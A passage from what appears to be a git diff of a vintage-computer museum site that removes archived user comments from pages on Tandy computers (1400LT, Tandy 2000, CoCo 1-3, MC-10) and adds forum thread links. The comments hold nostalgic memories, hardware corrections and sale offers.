author: vern (usa michigan) - date: Sunday 9th December 2012 - text: i have a tandy 1400lt computer complete.has carrying case,disks,books,has batt. in it.has mouse and power cord with it.works good.looking to trade it. - - author: Herbert Guenterberg (Grabstede/Germany) - date: Monday 3rd December 2012 - text: |- - I used a TANDY LT1400 back in 1988/89 when I went to the Naval Post Graduate School in Monterey/CA. STill have it. Unfortunately the Battery is broke und the power supply is missing. I founf the information, that it needs 15V/700mA. But does it really need AC as an input or will it take DC as well. And if so, what is the polarity of the plug? - - Maybe somebody can help to get baby up and running again! - - author: Bob (Minneola, Florida) - date: Tuesday 21st August 2012 - text: I have an HD 1110 Tandy laptop. Is it worth any thing? It Comes on but has a Hard disc read failure. - - author: Brian (USA) - date: Monday 2nd July 2012 - text: |- - Hey Jack. - - I just bought at pristine 1400 LT for $35 $ Shipping. Looks and works brand new. I had one back in the late 80''s and got rid of it. I''ve been looking for one to keep as a memory. - - author: JACK (USA) - date: Monday 2nd July 2012 - text: A Tandy 1400 HD with no power cord would be worth how much today - - author: Joe (USA) - date: Wednesday 4th January 2012 - text: I bought one of these to take to Italy (circa 1988). No hard disk, but I remember thinking it was so great to have two floppies, and not the big ones, but the new 1.4Mb little ones. I was in marketing and sales and I managed my contacts and wrote reports. With a bag and a portable printer, my portable office was about 22lbs. - - author: Mike (CA,USA) - date: Wednesday 24th March 2010 - text: I still have mine....you can rebuilt the battery using ni-cad "C" cells. Still works with original tandy dos $ MS dos 6.22. - - author: Benjamin Rau - date: Saturday 16th August 2008 - text: This was truly an elegant display. I used this at the same time I was using a Toshiba without the backlighing, and the display on this machine was far better than the Toshiba. Once you found how to deal with the 128 MB additional ram, it was a godsend. I loaded my DOS into the ramdrive, and had two drives for data instead of one. - - author: Chris Wolski (USA) - date: Thursday 12th April 2007 - text: In 1988 my family bought me one of these as a gift before I moved overseas for the Navy. It was a pretty sturdy laptop. I managed to break the keyboard's circuit board, but was easily able to repair it with some jumper wires. The unique thing about this laptop was that the screen was a blue/white monochrome and was able to produce 16 shades of blue. oc_id: 1197 source: url: https://web.archive.org/web/20230603010407/http://www.old-computers.com/museum/computer.asp?c=1197 diff --git a/content/museum/tandy-radio-shack-2000.md b/content/museum/tandy-radio-shack-2000.md index 583b2908..111410d8 100644 --- a/content/museum/tandy-radio-shack-2000.md +++ b/content/museum/tandy-radio-shack-2000.md @@ -70,6 +70,7 @@ params: - photos - adverts - links + forum_thread: 1186 photos: - title: BILL GATES subtitle: '' @@ -91,56 +92,6 @@ params: - title: Tandy 2000 Yahoo! Group url: http://groups.yahoo.com/group/Tandy2000/ text: Yahoo! Group devoted to the Tandy 2000 and alikes - comments: - - author: Joe Duarte (United States) - date: Wednesday 7th September 2022 - text: Your release date is off by two years. It was released in September, 1983, not in 1981. The 80186 didn''t exist in 1981, came out in 82. The PC/XT had just barely come out in 1983 as well, and the Tandy came several months later. - - author: N. Fleschy (USA) - date: Wednesday 21st August 2019 - text: |- - I loved my Tandy 2000 with its 3 volumes of instructions, including one for Basic, one for MSDos and one for Multimate.\ - It also had an Edline program for making a simple data base.\ - A program on one disc allowed for converting Multimate files to simple ASCII which allowed me to convert to be usable on a later computer. It was a workhorse. I was not interested in games, but more important was the ease of typing and editing a document. The printer did a nice job. It certainly beat using a typewriter! - - author: Jeff Joseph (Norfolk VA) - date: Wednesday 22nd March 2017 - text: |- - There are some incorrect data in this article. - - The drives are merely 5-1/4 double density 80 track, 720 KB capacity. These drives had been used for years earlier on the TRS-80 Models I and III. Nothing special, they DO NOT require the high-coercivity 1.2 MB floppy media as used on the IBM AT. In fact, the format is identical to that used by the later 720 KB 3.5 inch drives introduced with the IBM PS/2. The Tandy 2000''s 5-1/4 inch drives can in fact be replaced with the 720 KB 3.5 inch drives and freely exchange data on the very same disk format as used by any IBM compabibles using the 720 KB 3.5 inch drives. NOTE this DOES NOT include the later high capacity 1.44 MB disks! - - As for the "80186" having done in the Tandy 2000 as a viable product in the computer market, this is hogwash. This article fails to mention that ALL software programs that run on the IBM''s 8088 run with no problem on the 186. The 80186 is a fully-compatible superset of the 8088/8086. - - Probably what this author actually means is that the Tandy 2000''s hardware is not fully compatible with the IBM PC, and this was the reason it ultimately did not succeed. While probably true, the Tandy 2000 did survive in the market for 4-1/2 years, much longer than any of the other "workalikes" that were not fully compatible. Many of the bestselling software titles for the IBM like Lotus 1-2-3 and AutoCAD were published in versions customized for the Tandy 2000. For a full list see the Wikipedia article on the Tandy 2000, alot of which I wrote. - - author: Ray MacDonald (Canada) - date: Saturday 16th July 2016 - text: Tandy 2000 was impressive on its floor stand, in fact the Tandy/TRS-80 nameplate rotates 90degrees to be cosmetically correct when vertical on the floor stand. Unfortunately only the green screen monitor had a cool stand matching the floor stand cosmetics, I guess because the color monitor was bigger and heavier it didn''t have a raised stand available. Special version of Lotus 123 was superior on this computer than the competition for a year or 2 before they stopped supporting it. - - author: Marcelo (Argentina) - date: Monday 30th March 2015 - text: |- - Please, correct the release data, was introduced december 1983, not 1981.\ - Note that a XT compatible the same year of the orginal IBM PC release is a nonsense. - - author: Dennis Sunde (United States) - date: Tuesday 9th August 2011 - text: This was my second computer. I had an elaborate setup of boot disks that allowed me to run a C compiler completely from ramdisk for amazing performace. I used that to learn C programming in college. But the compatibility of this thing was terrible. I think I paid about $3,000 for it back in 1984. - - author: Chuck Coffing (US) - date: Wednesday 8th June 2011 - text: |- - I have restored one of these machines. For some reason I like this machine (perhaps precisely because it is the red-headed step child), but the physical organization of the case is a nightmare. Removing any drive (floppy or hard) is a major undertaking. You cannot remove the floppy drive cage without first removing the hard drive. - - It''s also interesting in that the bus connectors are the 96-pin euro-card style (same as the modern N8VEM project). - - The newest version of MS-DOS available for this machine is 2.11.03, not 2.0 as in the description. - - I am creating floppy images for this machine (DOS and applications) and BIOS snapshots, available at http://166.70.81.49/clc/tech/retro/tandy-2000/. This is a work in progress. - - author: Robert H (usa) - date: Tuesday 31st August 2010 - text: I don''t care what barriers were thought to be the problems with it I usted disliked the system in general. My dad and a friend of his bought out the RS computer store in our city and bought home something like 30 or so of these nightmares. I did just to be fair try to work with them, but I never could get the HD cards I had to work with these. I have to admit that I dod not know as much about networking as I do now but the Coxal cable never would work. Eventually I gave up trying and went back to my Tandy 1000, and the systems turned into Field Mouse Condo''s for the next 2 years till they managed to donate to some school in Mexico. Good riddens to a piece of junk. - - author: Chrism3667(at)yahoo(dot)com (USA) - date: Sunday 2nd May 2010 - text: the problem had little or nothing to do w/the 80186. The problem predominantly was the location of the video ram, not to mention the chipset it used (different set of registers). S/w written for a cga/6845 would choke due to the fact that nothing it would look for was there! There are other aspects of the h/w that made s/w go bonkers. There are fully compatible 80186 systems out there. They may have required a bit of tweaking, but the ''186 alone is not a barrier to compatibility. - - author: Asqarin - date: Saturday 12th April 2008 - text: The Tandy 2000 was equiped with 2 double sided Quad Density 720K floppy Drives, not single sided High Density as stated in your description. oc_id: 1219 source: url: https://web.archive.org/web/20230605040856/http://www.old-computers.com/museum/computer.asp?c=1219 diff --git a/content/museum/tandy-radio-shack-color-computer-2.md b/content/museum/tandy-radio-shack-color-computer-2.md index ffd6ef9d..35421fdf 100644 --- a/content/museum/tandy-radio-shack-color-computer-2.md +++ b/content/museum/tandy-radio-shack-color-computer-2.md @@ -66,6 +66,7 @@ params: - connectors - emulators - links + forum_thread: 502 photos: - title: COLOR COMPUTER 2 subtitle: '' @@ -276,58 +277,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Discussion about Tandy computers - comments: - - author: Tim Norton (USA) - date: Tuesday 21st June 2016 - text: This is the one that started it all for me. I moved to a new school in the fall of ''86 and in the back of the classroom was a CoCo. I stayed after school typing programs into that thing so often that my teacher finally got frustrated and told me to become a paperboy and buy my own computer... so I did, I got an Atari 800xl, then a 400, a C64 and Vic-20 and a bunch of other machines.... Now I am a computer technician at a major university looking back at these tiny machines with their kilobytes of ram and mhz processors. Those were the days :) - - author: Ron (Missouri) - date: Wednesday 20th November 2013 - text: |- - I have a Tandy 64 Color Computer 2 still in the original box and packing, with the original books and cords including a tv/coax slide adaptor. It has a slot for a rom drive but there are no rom drives with the computer - - The box says 64K EXTENDED Basic on the end with the serial number and cat. no. on the box as well. - - the cords have never been out of their original plastic packaging but I took the computer out of the plastic to look at it. from the looks of the packing I doubt it has ever been plugged into a wall outlet. - - It is just like the first TRS 80 that I started out with about 30 years ago... Except this one is "Brand New"! - - author: Ryan Schweitzer (ND, USA) - date: Tuesday 21st December 2010 - text: |- - The CoCo2 was my first computer I ever had. I actually had 2 CoCo2s, the first was one I borrowed back in 1990 from a family friend who wasn''t really using it much at the time, and that machine provided my first real personal computer experience. I remember spending hours on it typing in BASIC programs from books about the CoCo that I''d check out from the library (I even still have one program saved on cassette laying about somewhere). - - The second CoCo2 I had I bought in 1992 at a local hamfest flea market (I then returned the borrowed CoCo2 I first had, since I had my own now). The fellow I bought it from actually modified the unit to have additional composite video and line audio outputs (the CoCo2 only has a stock RF output for the video), albeit the video only being black $ white. But it was still a super machine, and even came with some program cartridges (one of them was the "Audio Spectrum Analyzer" cartridge, which allowed the CoCo to function as such in real-time using the audio in from the cassette cable!). - - I later acquired that same year a CoCo3 with dot-matrix printer, floppy software, and floppy drives $ controller cart from a neighbor''s rummage sale. I was rolling in the CoCo clover, so to speak! I later had also acquired from a friend a VT-100 clone terminal and a modem around the same time to access the local BBSes and the then-nascent Internet through a dial-up service offered through school. I took the printer that came with the CoCo3 and hooked it up to the terminal to make hardcopies of what I would access online! - - In 1993, I got my first PC, a true-blue IBM XT, and ended up selling all my CoCo gear at one of our own family garage sales that year (something I do regret doing :-( ). But the CoCo helped me to ignite the strong interest I have in computing, and hopefully I can find another CoCo system again on eBay or elsewhere (or run an emulator otherwise), just for old time''s sake!!! - - author: Chulang Searles (Barbados(West Indies)) - date: Tuesday 15th August 2006 - text: If you want to use it on a mordern TV, buy a coauxual to RCA adaptop. Connect one end or the TV cable of a video cable use for a VRC to one end then plug it into the TV out of the Co-co 2. Connect the coaxual free end to the antenna connection of the Television set. Select channel 3 on the TV, turn on the computer and it willwork. It was a gret computer to learn computer interfacing on. I use the analog ports to create a scope for checking and repairing saudio equiptment and the tape output as a signal generator. - - author: Onekopaka (west side of rockies) - date: Sunday 19th March 2006 - text: I dont understand BASIC and the coco2 i have is junk now that we dont have a compatible TV. Is there a way to hook it up to new TVs? - - author: Barry Beaubien (da yooper) - date: Thursday 20th February 2003 - text: My first computer was a CoCo 1. I just picked up a 'Tandy Color Computer 2 with 64kb of ram. Plugged it into the wall and TV and there it was... M$ Extended Basic! The 'puter, while not in its origional box still had the operational manuels with it. I got it at Saint Vinnie's and I figured that the books, alone, were worth the price \[it cost me a buck!\]. I still have the casette player from my coco1... now if I can just find the cords to connect them! For their time they were powerful educational tools, and I kicked butt at astroids! - - author: David A. Czuba (Hamburg, NY) - date: Monday 14th October 2002 - text: Does anyone recall, or have a digital copy of, an old 6809 assembly language programming advertisement for a through-the-mail course, with a cartoon graphic of a beared guy in suspenders pointing his finger and saying, "I'll teach you a lesson!" ? It was a great ad, and would make great memorabilia for mousepads, coffeemugs, etc. - - author: dan (USA) - date: Tuesday 28th May 2002 - text: This was my first computer thing also. hard to call it a pc compared to today. I may still have a logo cartridge around the house somewhere. maybe i can find a backup on audio cassette somewhere. - - author: Johno (Australia) - date: Wednesday 1st May 2002 - text: |- - Rick, here are some websites dedicated to trs-80 users. Hope you enjoy them. - - The TRS-80 Home Page www.kjsl.com/trs80\ - Tim Mans TRS-80 Pages www.tim-man.org/trs80html - - author: Rick Cummins (Fort Wayne, In.) - date: Sunday 21st April 2002 - text: I guess not many people read this site. I still have all three of my coco II's from the early 1980's. It was cheaper to get a new one than to upgrade. I spent many late nights typing lines of "Q basic" from Rainbow magazine and saving it on cassette. The rom pack software was great. I still play around with it once and awhile. It was a great affordable learning tool. Where are all the old users? Would like to chat! Rick Cummins - - author: Joseph Hays (USA) - date: Wednesday 13rd February 2002 - text: Ahh, the TRS-80 color model 2.. the first system I ever had. it sure brings back memories; Of course, I was only 4 when I got it :) related: - /museum/tandy-radio-shack-color-computer - /museum/tandy-radio-shack-color-computer-3 diff --git a/content/museum/tandy-radio-shack-color-computer-3.md b/content/museum/tandy-radio-shack-color-computer-3.md index c7c14131..532ecd84 100644 --- a/content/museum/tandy-radio-shack-color-computer-3.md +++ b/content/museum/tandy-radio-shack-color-computer-3.md @@ -65,6 +65,7 @@ params: - connectors - emulators - links + forum_thread: 123 photos: - title: COCO 3 subtitle: '' @@ -339,66 +340,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Discussion about Tandy computers - comments: - - author: Steve (USA) - date: Thursday 20th January 2022 - text: Website link is for Tandy CCR (Cassette Recorder) information. Also, does anyone know if the CoCo3 video output can all be used at the same time? (for mirror display output, such as the RF coax output + RCA composite output, and maybe the RGB as well? ) - - author: William (USA) - date: Tuesday 7th April 2020 - text: Disk Extended Color Basic wasn''t available on any of the CoCo line without the addition of the Floppy controller and the included internal ROM that plugged into the 40-pin expansion slot or the Multi-Pack Interface (or equivalant.) Otherwise just Extended Color Basic was available for use. - - author: Corey Lynch (United States) - date: Monday 19th August 2019 - text: Michael Devenney, I am definitely interested. please E-mail me at the.lynchster@gmail.com - - author: Michael Devenney (USA) - date: Saturday 12th May 2018 - text: I have a Tandy computer color 3 new in the box, never used. The outer box is in terrible condition , but the computer is unwrapped and has been never used. Anyone interested? - - author: Derrick Green (United States) - date: Sunday 30th April 2017 - text: |- - This was also my first computer since I owned a 2600 Atari and NES game system back in 1987. Learning basic was fun on this system with the built in color graphics. I remember bagging my parents for the floppy drive unit shortly afterwords and was able to save the basic programs and run games like Kings Quest. This was truly a revolution for the time and even had a special color monitor that could be purchased. What I was especially impressed about this system is all the expansion options that were available. When I was younger growing up I could all the options at once but being able to upgrade the system was an advantage along with having the composite video connection to get started. - - One of my biggest regrets was selling my entire system for $50 USD and purchasing a 286 computer at the time. This system and the first IBM computer tough me a lot. The new generation of youth has a lot to be learned as we grew up in our generation. - - author: Jack (USA) - date: Thursday 1st October 2015 - text: the Tandy was my very first computer. I spent hours of fun on it. back when you had to turn the little switch from TV to computer on channel 3 back then. I wish Ii held onto it now, it''sd be fun to mess around again on it. thanks for the fun., Jack - - author: Jorge (NY, USA) - date: Wednesday 6th July 2011 - text: |- - I have uploaded scans of the system manuals, in PDF on skydrive, the Public address is https://skydrive.live.com/redir.aspx?cid$c1a7e9824022ad17$resid$C1A7E9824022AD17!732 - - I have some of the most common hardware manuals there too, if you are looking for another manual, most likely I have it. - - The manuals are for all 3 Color Computers ( 1, 2, and 3) Schematics and repair manual included. - - Please archive these manuals, I don''t know how long I will keep them there, or add them to Old-Computers.com as a direct download. - - author: Lez Anderson (England) - date: Monday 27th June 2011 - text: Does anyone know if the COCO 3 FPGA project has been put into a low cost ASIC chip... i.e. a single ASIC chip Coco 3... I''m wanting to use one instead of a PIC or embedded processor ... It would be great if I could get a single chip coco 3 with the functions of the coco 3 ( Enhanced ) and the functionality of a PIC... I''d love to buy one ... - - author: Joel Ewy (USA) - date: Wednesday 16th February 2011 - text: |- - The CoCo3FPGA SOC actually started on the Xylinx platform, and was fairly recently ported to Altera. My blog shows my build of the CoCo3FPGA, put into an old CoCo 3 case. - - If you want more info about CoCo3FPGA, see the Yahoo Group: http://groups.yahoo.com/group/CoCo3FPGA/ - - author: Kenai Andrews (Canada) - date: Tuesday 26th October 2010 - text: Poke 65495,0 was for the Coco 1 and 2. The speed up poke on the Coco 3 was poke 65497,0 and the slowdown was poke 65496,0. - - author: Marcos (England) - date: Thursday 16th September 2010 - text: I believe these are on a Altera DE1 board using a cyclone chip runnning at 25MHz. - - author: Lez Anderson (England) - date: Tuesday 14th September 2010 - text: |- - The Coco 3 is now on a single chip (FPGA, Field programmable Gate Array) running at 25MHz!! - - Anyone with more info on this please post a message.... - - author: Keith Smith (Hardburly,Kentucky 41747) - date: Saturday 10th July 2004 - text: |- - The 2 MHZ command was poke 65495,0.\ - I still have several of these,1 inside of an IBM case.\ - These machines still work great as a basis for a home security system,satellite descrambler and a way to monitor an automotive computer.\ - BTW I still love playing the Kronis Rift. related: - /museum/tandy-radio-shack-color-computer - /museum/tandy-radio-shack-color-computer-2 diff --git a/content/museum/tandy-radio-shack-color-computer.md b/content/museum/tandy-radio-shack-color-computer.md index 5d86b95a..9bf684e2 100644 --- a/content/museum/tandy-radio-shack-color-computer.md +++ b/content/museum/tandy-radio-shack-color-computer.md @@ -63,6 +63,7 @@ params: - connectors - emulators - links + forum_thread: 106 photos: - title: TANDY COLOR COMPUTER subtitle: '' @@ -350,136 +351,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Discussion about Tandy computers - comments: - - author: david1024 (USA) - date: Sunday 17th June 2018 - text: The CoCo actually did use Microsoft Color Basic which tandy licensed from Microsoft... as a matter of fact, the fact is listed every time the machine boots on the startup screen. - - author: Robert (Usa) - date: Monday 15th June 2015 - text: Hey does anyone know what these are worth I''m sitting on about 4 of them that I picked up at a flea Market for 5 bucks - - author: Nick Ellerby (UK) - date: Sunday 1st September 2013 - text: To call the Dragon 32 a "clone" is rather unfair. The CoCo and the Dragon were both simply implementations of the Motorola reference design for a computer based on the 6809 microprocessor. The Dragon 32 was my first computer (and later I got a 64). I ordered the Motorola datasheet for the 6809 to help my assembly language programming and it included the circuit design which was used for both machines. - - author: marvin cornett (okla usa) - date: Thursday 25th July 2013 - text: |- - hay I got at lest three of everything ever made for the coco an more even every program an mage if u want power out the coco learn machine language I have 22 of them running 24-7 doing mailing stuff but using laser prints\ - you can make a coco talk to a new computer buy doing it throw dos so don''t put the coco down but u have to learn to program it in machine language gives it the most power - - author: marvin cornett (okla usa) - date: Thursday 25th July 2013 - text: |- - hay I got at lest three of everything ever made for the coco an more even every program an mage if u want power out the coco learn machine language I have 22 of them running 24-7 doing mailing stuff but using laser prints\ - you can make a coco talk to a new computer buy doing it throw dos so don''t put the coco down but u have to learn to program it in machine language gives it the most power - - author: RICHARD MAGIN (USA) - date: Friday 3rd February 2012 - text: HAVE ONE WITH BOX AND ALL. DO NOT NEED. SOMEONE MAY LIKE TO HAVE IT....CHECK OUT MY ART SITE FOR E-MAIL....RICHARDFMAGIN.ARTISTWEBSITES.COM - - author: johng (Australia) - date: Thursday 22nd December 2011 - text: People, I have to tell you, if you''re going to learn a computer language that has extreme versatility, over and above even any of the C deviations, you MUST learn Extended Color Basic (including Basic)... add to this the inter-machine compatibility of the 6809 Machine-code language via the ''USR'' command in BASIC or the ''DEFUSR'' command in Extended Color Basic and things all of a sudden take on a very Dossy aspect. Of course then there was the progression to Deskmate which seemed to be an earlier version of Windows... however, time ticks on and now that it seems there never will be that IBM/Tandy merger I heard about on the bit-bangers grape-vine back in t'' eighties, seems like all I got to look forward to is someone who''ll adapt Extended Color Basic Boot n ROM to x86 and I''ll be convinced the world is going the right way again... regards - - author: The_Biking_Viking (Minnesota) - date: Sunday 4th July 2010 - text: |- - Wow! I started researching ubuntu on wikipedia and ended up reminscing here like the rest of you how I got my start in computers. - - At school I got excelled math classes and learned Basic on the U of M''s mainframe (even though I was only in 7th grade, mind you) and the next year bought my first TRS-80 CoCo after saving my 3 paper route monies for a year just to get the computer. Took me more years to buy the disk $ controller, then printer and speech card. - - It is so funny and cool to see so many other people reminscing about their past CoCo''s. I built the single transistor driver provided in Rainbow magazine so I could use a reall greenscreen monitor for BBSing purposes which were very active here. Yes, Rainbow was a pricey magazine for its time. I met hundreds of local techies that way. Went to a couple of CoCo meetings where guys had ''supercharged'' their comps with 10 meg hds which was almost unfathomable at the time - - What''s sad is not too long ago I moved and threw some of my equipment out because until this minute I never knew there existed this kind of support for it. A friend gave me a few more and I bought another one which had a custom ram bank to 512K which ran so hot it was mounted by the previous guy ON TOP of the grey case to help keep it cool. During hot weather I babied it by putting a small fan on low to run over it and it still worked last I disconnected it. - - Too bad I threw away so many magazines, maybe the multipak and all kinds of other items. But you can''t store everything forever you know. I''ve got enough of my dad and his dad''s tools I keep derusting and sharp to prove that....Stanley Saws and planes and a that go back to their first house built near Staten Island when they immigrated in 1911 or so. I still use some of them, too. - - Well, I''m digressing but reading all of your messages is really bringing back memories and that I should go through that stuff and see what I have and maybe even try to put it to use as a security system or home automation center with the X-10 units or find some use for it. It was an incredible machine for its day. - - Coincidentally enough the movie WARGAMES is playing and that is bringing back memories, too. I spent a lot of hours programming back then. And conquering the Tape Game Madness and the Minotaur before I got a few of the cartridges. - - If it''d be possible to link it to this computer it might be worth putzing with. I always wondered if this would make the ideal solar powered computer due to its easy, and minimal, voltage requirements. With no inverters needed. - - Soon I have to move all of that stuff to another, smaller, more compact storage space. I''ll have a chance to go through it then. I always had bad luck with the printers. - - Actually my mother would probably be more comfortable using it as a WP than any IBM machine. Any suggestions what printer might work well with it? Quiet a must. My DMP-250 was so noisy I soldered together an extension cord using a 25 foot telephone cord for the serial port connector and bought the connectors from RS. Then I put the DMP-250 on another floor in the closet. Making paper, for school reports and papers, was one of the most important things back then. Now we''re trying to go paperlless! LOL - - author: Dan Damron (Calgary, AB Canada) - date: Sunday 19th August 2007 - text: |- - ahh, the coco, the reason I got into computers... - - Couple notes that are worthy here... - - The coco, when used with OS9 Level II, was way ahead of it's time. It was one of the only computers that could share memory between processes... of course it was completely multiuser... - - At one time, I had a 20MB Hard Drive, 4 rs232 ports, TRUE parallel port, all modded into an IBM case, complete with an IBM keyboard adapter.. Of course this wasn't the standard defacto... hehe - - reusing memory between processes meant it utilitized memory extremely well, if two terminals loaded the same app, only 1 instance of that app would remain in memory.. - - we had an active CCUG here in Calgary, can't remember everyone's name... - - Specifically the gentleman who designed and manufactured the IO controller for the HD.. - - I remember it was an INTERFACE, attached to a MFM or RLL controller, then attached to the hard drive... remember MFM & RLL? Had to set the interleave to 3:1 for optimum performance.. - - We ran quite a few BBS's on cocos.. even through the bit banger port... At the time, I only had a 300 baud MANUAL modem (DCM 101 I think, with the red button on the front to turn it on and off).. we made an auto-answer circuit, sensing ring voltages off the phone line, triggering a relay, causing the modem to turn on... - - My long time friend, even to this day, Ken Johnston wrote Inteleterm... - - author: David A. Czuba (Bellingham, WA) - date: Wednesday 27th June 2007 - text: Does anyone recall the ad to learn 6809 assembly language with a cartoon character in suspenders saying "I'll Teach You a Lesson!". I've always liked that emblem, and want to make it into a patch. - - author: David A. Czuba (Bellingham, WA) - date: Wednesday 27th June 2007 - text: My CoCo I was given as a Christmas gift from my brother in 1982. I quickly upgraded to 32K and started acquiring other hardware. The SAM chip tended to overheat, as another poster mentioned, so I purchased what was known as a Dragonfly fan, which was a two-winged device powered by an occilating piezoelectric ceramic. It failed quickly, so was replaced by another. As that other poster mentioned, I also wrote many programs for the Coco including Scrabble, and Rutherford's Experiment, where you shot at an unknown object, and tried to determine its shape. I also loaded Lisp and OS-9. Using Rainbow magazine as a jumping off point, I soldered together a light-pen, then programmed an application to use the input. I also came into a Helium-Neon (HeNe) laser, which I set up with a detector which 'read' the beam bounced off of a pool of Mercury. This was my rudimentary seismograph. I had so much fun with that computer! The chicklet keys had to be cleaned about 2 or 3 times throughout its - lifetime. - - author: Will Sawtelle (Earth) - date: Thursday 25th January 2007 - text: A friend of mine supposedly was able to put an early Unix and 2 dumb terminals of the back of a CoCo or CoCo2. The Motorola 6809 was a fairly capable chip, and a predecessor of of the 68000 which was the driving force of the Fortune 32:16 multi-user machine I ran one with 4 terminals attached. - - author: Ernest (Greenwood S.C.) - date: Wednesday 17th August 2005 - text: |- - i HAD A TRS 80 color computer my favirite game was donkey kong;pac man,and zaxon any one ever\ - herd of it i would like to have it for my pc now probblynever will though the co co was a great littel computer though thanks for listening Ernest. - - author: Keith Smith (Hardburly,Kentucky) - date: Friday 9th July 2004 - text: I have some parts still for various models of the Coco,as well as a few intact and working units.I kept most(if not all) of the Programs(Rainbow on tape and on disk,too) using backups of the orginial disks..Love to get my hands on a few more. - - author: Gabriel Sierra (Toa ALta, P.R.) - date: Friday 11th June 2004 - text: |- - Hello! - - Does anybody know if Mickey Term for the CoCo is still available somewhere? I have the RS-232 pack and I plan to use it for packet radio. - - Thanks - - author: Kasey Chang (San Francisco, CA) - date: Sunday 21st March 2004 - text: I had attended UT Austin for my EE program and one of the classes there use the CoCo's assembler cartridge (sold separately!) to teach assembly programming. As you can guess, it ain't easy typing assembly programs on that chiclet keyboard! Fortunately I was able to borrow my mom's Coco3 with the much improved keyboard and do most of the work at home! - - author: Paul Gerwitz (Rochester, NY) - date: Tuesday 11th November 2003 - text: I have a CoCo 2, CoCo 3 system with floppy disks, extra memory, disto controller, etc that is taking up space in my garage. I hate to throw it out if someone could make use of it. I would give it away if you would pay the shipping. If no-one bites, it's history - - author: Fabio Baccaglioni (Buenos Aires, Argentina) - date: Wednesday 30th July 2003 - text: |- - I had my first computer in 1988 (yes, too late, but i was 8 years old!), a TRS-80 CoCo with 16Kb RAM and Floppy Disk Drive.\ - I Made a lot of appz in Extended BASIC, excelent computer but nobody has another like this in my city, Commodore64 was the most common computer here. - - author: Roland Weigelt (Bonn, Germany) - date: Monday 21st October 2002 - text: |- - After playing around with my cousin's ZX81, I could convince my father to buy me a computer. In May 1983 I got a CoCo with 16Kb RAM and Extended Color Basic. The fact that there was virtually no software available here in Germany and that the Basic (and its manual!) was pretty good, turned out to be the starting point of my career as a software developer.\ - Being 14 years old and without any contact to other people interested in programming, my first programs were complete failures. Then I managed to locate a foreign press shop where I could buy the "Rainbow" and "Hot CoCo" magazine (both VERY expensive). Reading other people's code really helped me a lot. - - Christmas 1984 I switched over to a Schneider CPC 464 (aka Amstrad). This is the computer I really had my first really big projects on (first in Basic, later in Z80 Assembler). I used it until 1988, when\ - I started using PCs. - - But I will always remember my CoCo... - - author: Jim (Toronto, Canada) - date: Tuesday 2nd April 2002 - text: My CoCo started out with 16K, but was eventually upgraded to 64K with Extended Color BASIC. I wrote a number of my own programs (wish I still had them), plus I tried out a number of programs from COMPUTE! magazine, which one of my teachers brought in every month. But my favourite programs came from the Program-Paks, among them, Mega-Bug (a type of Pac-Man game) and Dungeons of Daggorath (a 3D adventure). I recently downloaded an emulator. Maybe I can re-create some of my programs. :-) - - author: Nathan (Santa Clara, CA) - date: Wednesday 27th March 2002 - text: |- - My CoCo tended to overheat, so I would have to take the cover off after a few hours. I also had to fiddle with the video connection frequently when lines formed on the TV. - - I started with 4k memory, upgraded to 16k and some advanced graphics package where you could actually draw lines on the screen (rather than use colored ASCII). - - I subscribed to Rainbow magazine. Ideally, a friend would read the BASIC code to me while I typed. Half of the games actually worked. - - I gave it away to my cousin, and his dad sold it at a flea market. I wish I still had it. related: - /museum/tandy-radio-shack-color-computer-2 - /museum/tandy-radio-shack-color-computer-3 diff --git a/content/museum/tandy-radio-shack-mc-10.md b/content/museum/tandy-radio-shack-mc-10.md index a26311a2..a0d47b4b 100644 --- a/content/museum/tandy-radio-shack-mc-10.md +++ b/content/museum/tandy-radio-shack-mc-10.md @@ -73,6 +73,7 @@ params: - emulators - links - docs + forum_thread: 174 photos: - title: THE MC-10 subtitle: '' @@ -307,115 +308,6 @@ params:  compiled/archived by Gary (JaGF)\  type of document : PDF\  source : [The MC10 archive](http://themc10archive.com) - comments: - - author: Stefan Schomburg (Germany) - date: Sunday 23rd June 2019 - text: Carl, could you plese share details about the differences? Your link doesn''t work for me. - - author: Carl (France) - date: Saturday 25th February 2017 - text: |- - Dear all,\ - You can read everywhere that MC10 is the same Matra Alice 4K ... but there is a difference, the tape connector are not connecting In the same way... - - more information :\ - http://forum.system-cfg.com/viewtopic.php?f$18$t$7700$p$126208$p126208 - - Kind regards\ - Carl - - author: Paradroyd (USA) - date: Wednesday 5th October 2016 - text: |- - I have one of these that I recently acquired from Ebay. I just installed a composite video interface in it (replacing the RF output). There''s an expansion called the MCX-128 for this that adds 128K static RAM, updated ROM with greatly upgraded BASIC, and it ads the ability to use drive space on a host computer (Mac or Windows) over serial / USB. This stuff is all available from here:\ - https://sites.google.com/site/thezippsterzone/ - - author: Paul (USA) - date: Tuesday 13rd January 2015 - text: This was a short-lived, uncommon machine. When I worked at a Radio Shack Computer Center in 1985 (admittedly, it was in a business district so home machines were not our focus) there was no MC-10s in our inventory whatsoever. We had some crazy number of the 16K RAM modules, maybe 30 of them... we kept them for a year or so until they were finally struck from the inventory. I think we threw them out. - - author: Chuck Rose (Vermont, USA) - date: Saturday 27th December 2014 - text: After my T/S 1000 got boring, I gathered enough saving to buy one of these in the summer of 1983 along with a 16k RAM pack. This gave 20k of memory (\~18k after OS overhead). I wrote tons of game software for this in Color BASIC and machine code (poke it into memory and then exec it. No assembler or even monitor here (though I did eventually write a monitor program in BASIC to save debugging and coding time). This machine was head and shoulders above the TS/1000 and had undocumented graphics modes that you could use by directly manipulating the video chip in machine language. Unfortunately BASIC didn''t have any native commands to use the higher res modes (Just the 64X48 mode). - - author: Jim Gerrie (Canada) - date: Wednesday 17th December 2014 - text: |- - Just to let people know, the web page where you can find all our software for the MC-10 has been moved to:\ - http://faculty.cbu.ca/jgerrie/Home/jgames.html - - author: Jim Gerrie (Canada) - date: Saturday 25th January 2014 - text: |- - I''ve made lots of software for this computer in recent years. It was my first computer and I had lots of fun back in late ''83 fooling around with it. Come see what we have made and relive the early 8-bit years:\ - http://www3.ns.sympatico.ca/jimgerrie/jsoft.html - - author: JamesD (USA) - date: Tuesday 14th February 2012 - text: |- - You couldn''t fully take advantage of the higher resolution graphics modes without internal modifications because some of the address lines on the 6847 weren''t attached and address decoding is a cheap design. As a result, the last 1/3 of the screen is a mirror of the first 1/3 in the highest resolution modes. - - To make matters worse, the ROM interrupt vectors point to locations that are in the screen address range used by higher res modes. - - author: JamesD (USA) - 